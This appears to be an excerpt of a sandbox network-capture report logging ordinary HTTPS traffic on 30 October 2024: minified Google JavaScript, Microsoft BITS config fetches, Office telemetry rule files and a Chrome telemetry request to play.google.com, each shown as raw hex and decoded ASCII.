2024-10-30 14:59:18 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-30 14:59:18 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-30 14:59:18 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-30 14:59:18 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-30 14:59:18 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-30 14:59:18 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-30 14:59:18 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-30 14:59:18 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49784	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 14:59:18 UTC	494	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=25944 Date: Wed, 30 Oct 2024 14:59:17 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:18 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: b7b81bb6-b01e-0084-3bc8-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145918Z-17c5cb586f659tsm88uwcmn6s400000000h000000000h4cq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:18 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145918Z-16849878b78tg5n42kspfr0x480000000890000000003k0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:18 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: cbc40ba7-201e-0003-72af-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145918Z-17c5cb586f6mhqqby1dwph2kzs00000003k0000000003tgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I
2024-10-30 14:59:40 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:40 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:40 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 63860650-101e-00a2-42b4-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145940Z-16849878b78qf2gleqhwczd21s00000008f0000000003fq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:40 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49792	142.250.186.174	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:18 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 904 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 14:59:18 UTC	904	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 30 30 33 35 35 36 31 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730300355612",null,null,null,
2024-10-30 14:59:19 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=ooZhsAFYGeXAk0Fd4oPcp4e4wTGDef_ugwZcK0SYtp6JS7f9fv7Z-SUwjl6wo0GFsHtsSIedpvFqct4xcRsPFXFmLe9V2NkGQhV-82EYwdDVUsjDLID9yPxQqjIgN30P7myeMvGUT_YdLgj0LECI1dTp68KgYGfHxvYvQo3Fqv5C3QM0cg; expires=Thu, 01-May-2025 14:59:18 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 30 Oct 2024 14:59:18 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 30 Oct 2024 14:59:18 GMT Connection: close Transfer-Encoding: chunked
2024-10-30 14:59:19 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-30 14:59:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49796	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:18 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 14:59:19 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=25965 Date: Wed, 30 Oct 2024 14:59:19 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-30 14:59:19 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
